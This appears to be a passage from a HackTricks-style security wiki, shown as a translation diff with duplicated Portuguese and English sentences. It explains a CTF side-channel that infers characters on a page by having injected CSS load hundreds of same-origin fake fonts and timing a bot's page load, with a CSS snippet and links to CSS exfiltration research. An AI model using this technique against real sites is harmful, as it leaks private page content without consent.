### Text node exfiltration (III): leaking the charset por medição do tempo de carregamento de centenas de "fontes" locais (não requerendo recursos externos) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referência:** Isso é mencionado como [uma solução malsucedida neste relatório](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referência:** Isto é mencionado como [uma solução sem sucesso neste writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Neste caso, você pode indicar **CSS para carregar centenas de fontes falsas** da mesma origem quando uma correspondência ocorre. Dessa forma, você pode **medir o tempo** que leva e descobrir se um caractere aparece ou não com algo como:
In this case you can indicate **CSS to load hundreds of fake fonts** from the same origin when a match occurs. This way you can **measure the time** it takes and find out if a char appears or not with something like:
```css
@font-face {
font-family: "A1";
@ -741,13 +777,13 @@ src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
unicode-range: U+0041;
}
```
E o código do bot é assim:
E o código do bot fica assim:
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve ser de aproximadamente 30 segundos. No entanto, se houver uma correspondência de fonte, várias solicitações serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Portanto, o tempo de resposta pode ser usado como um indicador para determinar se há uma correspondência de fonte.
Portanto, se a fonte não corresponder, o tempo de resposta ao visitar o bot deverá ser aproximadamente 30 segundos. Contudo, se houver correspondência da fonte, múltiplas requisições serão enviadas para recuperar a fonte, causando atividade contínua na rede. Como resultado, levará mais tempo para satisfazer a condição de parada e receber a resposta. Assim, o tempo de resposta pode ser usado como um indicador para determinar se há correspondência da fonte.
## Referências
@ -755,5 +791,11 @@ Então, se a fonte não corresponder, o tempo de resposta ao visitar o bot deve
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}